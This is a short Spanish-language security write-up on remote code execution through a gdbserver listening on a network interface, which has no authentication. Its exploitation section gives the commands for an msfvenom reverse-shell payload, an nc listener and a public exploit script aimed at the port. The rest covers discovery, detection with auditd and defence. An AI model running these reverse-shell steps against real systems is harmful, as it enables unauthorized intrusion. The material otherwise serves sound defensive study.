RCE on an exposed gdbserver

gdbserver es la pata remota de GDB, el depurador de GNU. La idea legítima es depuración cruzada: el binario corre en una máquina (a menudo un dispositivo embebido o un contenedor) bajo gdbserver, y un GDB en otra máquina se conecta por red para depurarlo paso a paso. Para que eso funcione, el protocolo de GDB permite al cliente controlar por completo el proceso remoto: leer y escribir su memoria y registros y, sobre todo, cargar y ejecutar código.

El problema. gdbserver no tiene autenticación. Si se arranca escuchando en una interfaz accesible (gdbserver 0.0.0.0:1337 ... en lugar de 127.0.0.1), cualquiera que alcance ese puerto obtiene las mismas capacidades que un depurador legítimo: ejecución de código con los privilegios del usuario que lanzó el servicio. Es RCE por diseño, no un bug de implementación.

Explotación. El exploit público (Exploit-DB 50539 para GDB 9.2, pero el vector aplica a otras versiones) sigue tres pasos:

1. Generar un shellcode de reverse shell. PrependFork=true hace que el payload bifurque un hijo, de modo que la shell sobreviva cuando gdbserver termine el proceso depurado:

`bash msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> PrependFork=true -o rev.bin `

1. Abrir el listener: nc -nlvp <port>.
2. Lanzar el exploit contra el gdbserver, que inyecta y ejecuta el shellcode:

`bash python3 gdbserver_rce.py <ip>:1337 rev.bin `

Cómo se descubre. Un gdbserver expuesto rara vez se anuncia: nmap suele dejar el puerto como desconocido. La pista llega por otra vía, por ejemplo leyendo /proc/<PID>/cmdline (enumeración vía /proc) y viendo el comando gdbserver --once 0.0.0.0:<port>.

Cómo detectarlo. En reposo, la exposición se ve con ss -tlnp/netstat: un gdbserver escuchando en 0.0.0.0 es ya la desviación. En ejecución, la firma es una conexión entrante al puerto del gdbserver desde un host que no es de desarrollo, seguida del proceso gdbserver (o el proceso depurado) lanzando sh/bash y una conexión saliente (el shellcode con PrependFork): auditd/Sysmon for Linux sobre execve con ppid del proceso depurado lo captura. No hay autenticación, así que cualquier conexión que derive en ejecución es maliciosa.

Defensa. Nunca exponer gdbserver en una interfaz de red: atarlo a 127.0.0.1 y, si hace falta acceso remoto, tunelizarlo por SSH. En producción no debería existir; es una herramienta de desarrollo.